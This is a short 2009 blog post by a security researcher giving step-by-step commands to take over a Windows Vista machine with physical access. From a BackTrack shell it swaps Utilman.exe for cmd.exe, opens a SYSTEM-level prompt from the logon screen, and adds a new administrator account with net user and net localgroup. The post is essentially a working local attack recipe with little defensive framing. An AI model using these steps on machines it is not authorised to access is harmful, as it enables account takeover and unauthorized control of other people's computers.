Gain Vista Administrator's Privilege

Marco Ramilli
Date
14 November 2009
Read
Share

Hi Folks, today I wanna point out one of the plenty ways to gain access into Vista Boxes. Thank to some mailing list friends.
This way is clearly faster then brute forcing and boot-replacing passwords.

Boot into Backtrack and open a shell prompt:

cd /mnt (change directory to mounted drives)
ls (get the list of mounted drives)
cd sda1 (sda1 is the main hard drive)
cd Windows/ (change to the windows directory)
cd System32/ (change to the system directory)
mv Utilman.exe Utilman.old (backup original file)
cp cmd.exe Utilman.exe (copy cmd.exe as utilman.exe)
reboot.
Once rebooted, at vista logon screen, Press Windows key + U
To invoke Utility Manager ( A.K.A. CMD.exe)
Cmd.exe will spawn with ‘System’ privileges.
c:>net user S00perAdmin mypassword /add
c:>net localgroup administrators S00perAdmin /add
Reboot and log in with your newly added Admin account

Marco Ramilli
Date
14 November 2009
Read
Share
← Go back
Latest Posts

i-SOON Data Leak: Key Points

Introduction i-SOON (上海安洵), a prominent contractor for various Chinese government agencies such […]

Date
26.02.2024
Duration
5 min
Text
Marco Ramilli

X Gold Badges: a new proliferating market

When I saw a threat actor hijacking the X account of Google's […]

Date
08.01.2024
Duration
5 min
Text
Marco Ramilli

Technical Data Sheet: LOCKBIT 3.0

LOCKBIT 3.0 is a notorious Ransomware Group that was first identified on […]

Date
20.12.2023
Duration
5 min
Text
Marco Ramilli
1 2 3 236
Back to Top
magnifier